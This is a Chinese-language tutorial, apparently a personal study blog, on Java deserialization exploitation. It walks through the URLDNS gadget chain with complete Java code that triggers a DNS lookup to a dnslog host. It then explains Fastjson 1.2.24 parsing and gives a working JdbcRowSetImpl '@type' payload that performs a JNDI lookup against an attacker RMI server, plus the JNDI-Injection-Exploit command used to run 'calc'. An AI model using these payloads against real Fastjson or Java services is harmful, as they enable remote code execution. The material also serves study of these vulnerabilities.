核心:java.util.HashMap实现了Serializable接口满足条件后,通过HashMap里面的hash到key.hashCode(),key的转变URL类,再到hashCode为-1触发URLStreamHandler.hashCode
HashMap->readObject
HashMap->putVal(put)
HashMap->hash
key.hashCode->
URL.hashCode->
handler.hashCode->
URLStreamHandler.getHostAddress
写利用链:
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception{
URL url = new URL("http://vxx5y9.dnslog.cn");
HashMap hashMap = new HashMap();
//利用反射,在put前将url对象的hashcode值设置为-1
Class cls = url.getClass();
Field hashCode = cls.getDeclaredField("hashCode");//获取hashcode为私有属性
hashCode.setAccessible(true);
//将hashcode设置为除了-1的任意值
hashCode.set(url,0);
hashMap.put(url,123);
//put后再利用反射将hashcode修改为-1
hashCode.set(url,-1);
//序列化
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashMap);
//反序列化触发URLDNS链
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}
}
参考: https://mp.weixin.qq.com/s/R3c5538ZML2yCF9pYUky6g
搞清楚入口类,需要修改的值,需要传递的值,
创建一个HashMap泛型,(后续操作URL类即int类型值)
在创建一个url连接,(将要请求的地址写入对应代码的U)
用put方法把url数据存放到里面,触发putVal(hash(key)
其中hash里面会调用key.hashCode()
最终触发点是key,所以我们就需要给key的类型设置成URL类,
通过逻辑让hashCode的值为-1后调用handler.hashCode即URLStreamHandler.hashCode,最终调用里面的getHostAddress实现
参考: https://mp.weixin.qq.com/s/t8sjv0Zg8_KMjuW4t-bE-w
FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成一个类。或者是将一个类转换成一段json数据。Fastjson 是一个 Java 库,提供了Java 对象与 JSON 相互转换。
导入有漏洞的依赖
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
JSON.toJSONString() //返回字符串;
JSON.toJSONBytes() //返回byte数组;
JSON.parseObject() //返回JsonObject;
JSON.parse() //返回Object;
JSON.parseArray() //返回JSONArray;
JSON.toJavaObject() //将JSON对象转换为java对象
JSON.writeJSONString() //将JSON对象写入write流
//User.java
public class User {
// 成员变量,存储用户的姓名
public String name;
// 成员变量,存储用户的年龄
public int age;
// 成员变量,存储用户的 ID
public int id;
// 无参构造方法
public User() {
System.out.println("无参构造");
}
// 有参构造方法,用于初始化用户的姓名、年龄和 ID
public User(String name, int age, int id) {
System.out.println("有参构造");
this.name = name;
this.age = age;
this.id = id;
}
// 获取用户姓名的方法
public String getName() {
System.out.println("get name");
return name;
}
// 设置用户姓名的方法
public void setName(String name) {
System.out.println("set name");
this.name = name;
}
// 获取用户年龄的方法
public int getAge() {
System.out.println("get age");
return age;
}
// 设置用户年龄的方法
public void setAge(int age) {
System.out.println("set age");
this.age = age;
}
// 获取用户 ID 的方法
public int getId() {
System.out.println("get id");
return id;
}
// 设置用户 ID 的方法
public void setId(int id) {
System.out.println("set id");
this.id = id;
}
// 重写 toString 方法,用于方便打印用户信息
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
", id=" + id +
'}';
}
}
public static void main(String[] args) {
//将对象转换为json字符串 序列化操作
User user =new User("c1trus",18,114514);
String jsonString = JSON.toJSONString(user);
System.out.println(jsonString);
}
//反序列化操作1
User user = JSON.parseObject(jsonString, User.class);
System.out.println(user);
System.out.println("--------------------------------");
//反序列化操作2
JSONObject jsonObject = JSON.parseObject(jsonString);
System.out.println(jsonObject);
System.out.println("--------------------------------");
//反序列化操作3
Object parse = JSON.parse(jsonString);
System.out.println(parse);
可以发现使用
JSON.parseObject
+指定转换的对象类型 :有参构造get 无参构造setJSON.parseObject
与 JSON.parse
+通用的JSONObject对象类型:啥都没有但是当我使用了 SerializerFeature.WriteClassName
这个序列化特性后,则反序列化时都能明确的知道对象的具体类型。
发现
JSON.parse(jsonString)
JSON.parseObject(jsonString)
JSON.parseObject(jsonString, User.class)
JSON.parseObject(jsonString, User.class)
重点就是关注 Set get方法,还有是parse 还是parseObjec
public class FastJsonRce {
public static void main(String[] args) {
//设置信任远程服务器加载的对象
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//Class.forName("com.sun.rowset.JdbcRowSetImpl")
String payload = "{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"rmi://192.168.1.2:1099/qdw686\", " +
"\"autoCommit\":true" +
"}";
//反序列化payload数据
JSON.parse(payload);
}
}
反序列化对象:
com.sun.rowset.JdbcRowSetImpl
改动的成员变量:dataSourceName
autoCommit
这里用的是parse
那么就会调用set方法,我们就可以对上面的两个变量进行赋值。我们就跟踪这两个变量看看会被接受get
在哪些地方
JdbcRowSetImpl
是一个jdk自带的类
这里使用了 JSON.parse()
那么就会执行 set
方法,
即我们可以控制 dataSourceName
autoCommit
变量的值
那我们可以跟踪一下这两个方法 setdataSourceName
setautoCommit
这里先看 setautoCommit
发现会只要 conn != null
就会调用 conn = connect();
,继续跟踪 connect()
这里我们传入的值是 this.getDataSourceName()
它是可以通过 setDataSourceName
控制的
我们把 DataSourceName
的值改成 rmi://192.168.1.2:1099/qdw686
那么就会执行 DataSource var2 = (DataSource)var1.lookup("rmi://192.168.1.2:1099/qdw686");
这就是一个RMI的注入
完整的链子
autoCommit
-> setAutoCommit
-> this.connect()
-> var1.lookup(this.getDataSourceName());
利用工具生成一个恶意的RMI服务端
生成RMI恶意调用类:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"
设置好对应的服务端 rmi://192.168.8.1:1099/5sjy8t
运行后就发现弹出计算器了
弹不了可能是java版本的问题,要用老版本的java8